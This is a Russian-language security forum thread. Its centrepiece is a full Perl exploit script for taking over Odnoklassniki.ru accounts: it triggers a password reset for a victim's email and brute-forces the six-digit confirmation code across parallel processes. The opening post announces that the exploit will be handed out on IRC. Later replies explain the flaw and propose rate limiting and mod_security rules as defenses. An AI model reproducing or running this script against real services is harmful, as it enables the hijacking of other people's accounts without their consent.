Перейти к содержанию

Эксплоит для "одноклассников"


Рекомендуемые сообщения

Раздача сплоита для "одноклассников" будет на irc канале #rst сети dalnet.ru в 15-00 по Москве. Кто опоздает - смотрите позже на сайтах тех, кто успел =).

P.S. Это не я, точно! :о))

Ссылка на комментарий
Поделиться на другие сайты

#!/usr/bin/perl
use LWP::UserAgent;

print qq(
   ,__                    __,                       
   \\ \\                    / /                     
    \\ \\     __      _    / /                      
       \\  .___/\\:::* /\\ /                         
          |_____\\  |/  \\                         
         /<>//,./      /       _________                             
        /      /      /  \\    |  RST                 
       /      /.,\\\\<>/\\   \\   |   GHC                       
       \\      \\    /'  \\  /   |    UKT
        \\      \\  /     \\     |__\\xD____                         
         \\      \\/      /                           
       /  '''\\'''      /                               
    / /       \\   \\   / \\ \\                         
   / /         ___ \\ /   \\ \\                       
   *__                    __*
               [preved odnoklassne4gi]
                 
);



if (!scalar(@ARGV)) {
    print "\[~\]Usage : ./$0 eMail {number of child procs}\n\n";
    exit();
}
if (-e "success") {
    print "\[-\] File \"success\" exists in your directory. Please rename it or remove.\n\n";
    exit();    
}

my $email="$ARGV[0]";

if ($ARGV[1]) {
    my $MAX_PROCESSES=$ARGV[1];
} else {
    my $MAX_PROCESSES=5;
}
my $DEBUG=0;

my @pids;
my $npids=0;
my $restore=0;
my $e;

# first step - omg! I lost my password?!?!?!
$ua=LWP::UserAgent->new();
$page=$ua->post("http://odnoklassniki.ru/cdk/st.cmd/password/tkn/6544",["st.email"=>$email,"st.posted"=>"set"]);
$page_content=$page->content();
if ($page_content=~/st.email/) {
    print "\[-\] Please provide correct email address\n";
    exit();
} else {
    print "\[+\] Repair password code send to $email\n";
}

# step number two - bruteforce code for repair password
print "\[~\] Brutforce code for repair password\
This process make take max ~ 18 hours to check all combinations\
You need good internet channel and fast cpu\n";
open(LOG_FILE,">>log");
$not=1;
for ($code=100000;$code<=999999;$code++) {
    if (-e "success") {
        print "DONE";
        exit();
    }
    if ($code==199999 && $not==1) {
        $cod="099999";
        $not=0;
        $code=100000;
    } elsif ($code=~/^1(\d+)$/ && $not==1) {
        $code=~/^1(\d+)$/;
        $cod="0$1";
    } else {
        $cod=$code;
    }
    if ($cod=~/^(\d+)000$/) {
        print "#";
    }

    my $pid;
    $pid=fork();
    if($pid>0){
     push(@pids,$pid);
     $npids++;
     if($npids>=$MAX_PROCESSES){
         for(1..($MAX_PROCESSES)){
          $wait_ret=wait();
          if($wait_ret>0){
                    $npids--;
                }
            }
        }
        next;
    }elsif(undef $pid){
        print "fork error\n" if ($DEBUG);
        exit(0);
    }
    $p=$ua->post("http://www.odnoklassniki.ru/dk",["st.cmd"=>"passwordReset","st.email"=>$email,"st.confirmation-code"=>$cod,"st.posted"=>"set"]);
    $con=$p->content();
    if ($con=~/password.confirmation/) {
        print "$cod cached\n";
        print LOG_FILE "$cod cached\n";
        open(SUCCESS,">>success");
        print SUCCESS "\n############################\n";
        print SUCCESS "Yahooo! Congratulations! Code for password repair is - $cod\n";
        print SUCCESS "Go to http://www.odnoklassniki.ru//dk?st.cmd=passwordReset\n";
        print SUCCESS "Type your email ($email), your repair code ($cod) and set new password for your account.\n";
        print SUCCESS "############################\n";
        print "############################\n";
        print "Yahooo! Congratulations! Code for password repair is - $cod\n";
        print "Go to http://www.odnoklassniki.ru//dk?st.cmd=passwordReset\n";
        print "Type your email ($email), your repair code ($cod) and set new password for your account.\n";
        print "############################\n";
        close(SUCCESS);
    } else {
        print LOG_FILE "$cod failed\n";
    }
    exit();
}
close(LOG_FILE);

Ссылка на комментарий
Поделиться на другие сайты

Уважаемый Loo, для отстающих расскажите - о чем речь-то? :smile2:

 

*шопотом* Уважаемый vbl, судя по тому, что мистер Лу, стал оправдываться заблаговременно, да еще так яро, он чего-то сотворил с Одноклассиками, и теперь обеспечивает себе алиби ))

Ссылка на комментарий
Поделиться на другие сайты

Мндя. :smile13: Видно, что программисты не читали руководства OWASP... :smile2:

 

Защититься от этого проще простого всего лишь с помощью нескольких правил mod_security :smile1:

 

 

Ссылка на комментарий
Поделиться на другие сайты

Мндя. :smile13: Видно, что программисты не читали руководства OWASP... :smile2:

 

Защититься от этого проще простого всего лишь с помощью нескольких правил mod_security :smile1:

 

Уважаемый Винни, не подскажете ли, существует ли перечень уязвимостей OWASP в переводе на русский. К сожаению :smile2: , не дружу с англицким, а прочитать в нормальном виде, а не в машинном переводе очень уж хочется. Заранее благодарен.

 

Ссылка на комментарий
Поделиться на другие сайты

Уважаемый Винни, не подскажете ли, существует ли перечень уязвимостей OWASP в переводе на русский. К сожаению :smile2: , не дружу с англицким, а прочитать в нормальном виде, а не в машинном переводе очень уж хочется. Заранее благодарен.

 

Увы! :smile2: Не слышал об этом...

На русском языке есть другой, но тоже хороший документ - классификация угроз для веб-приложений

 

Если есть конкретные вопросы - задавайте :smile3:

 

 

 

Ссылка на комментарий
Поделиться на другие сайты

Увы! :smile2: Не слышал об этом...

На русском языке есть другой, но тоже хороший документ - классификация угроз для веб-приложений

 

Если есть конкретные вопросы - задавайте :smile3:

 

Спасибо, конкретных вопросов пока нет, просто хотел почитать этот документ, так как появился к нему интерес.

 

Ссылка на комментарий
Поделиться на другие сайты

Уважаемый Loo, для отстающих расскажите - о чем речь-то? :smile2:

Ну я могу рассказать, пока его нет и выдалось пять свободных минут :smile17:

 

Для забывчивых пользователей есть возможность восстановить забытый пароль - для этого надо зайти на специальную страницу, вбить свой контактный e-mail и получить на него письмо, содержащее специальную ссылку, одним из параметров которой является специально сгенерированный для этого запроса шестизначный код. Перейдя по этой ссылке, пользователь попадает на страницу, на которой можно поменять пароль.

Проблема в том, что разработчики Одноклассников не позаботились о защите от подбора этого кода для восстановления пароля - и программа отправляет запрос на восстановление для указанного адреса эл. почты, а потом просто перебирает все коды (все числа от 100000 до 999999). Для ускорения перебора на компьютере одновременно выполняется заданное число процессов.

 

Защита от такой атаки простая - обнаружение большого числа запросов с URL для проверки кода восстановления за короткий промежуток времени и блокирование такого IP на некоторое время :smile1: (или блокирование попыток восстановления для данного адреса эл. почты на некоторое время :smile3: )

Ссылка на комментарий
Поделиться на другие сайты

Заархивировано

Эта тема находится в архиве и закрыта для дальнейших ответов.

×
×
  • Создать...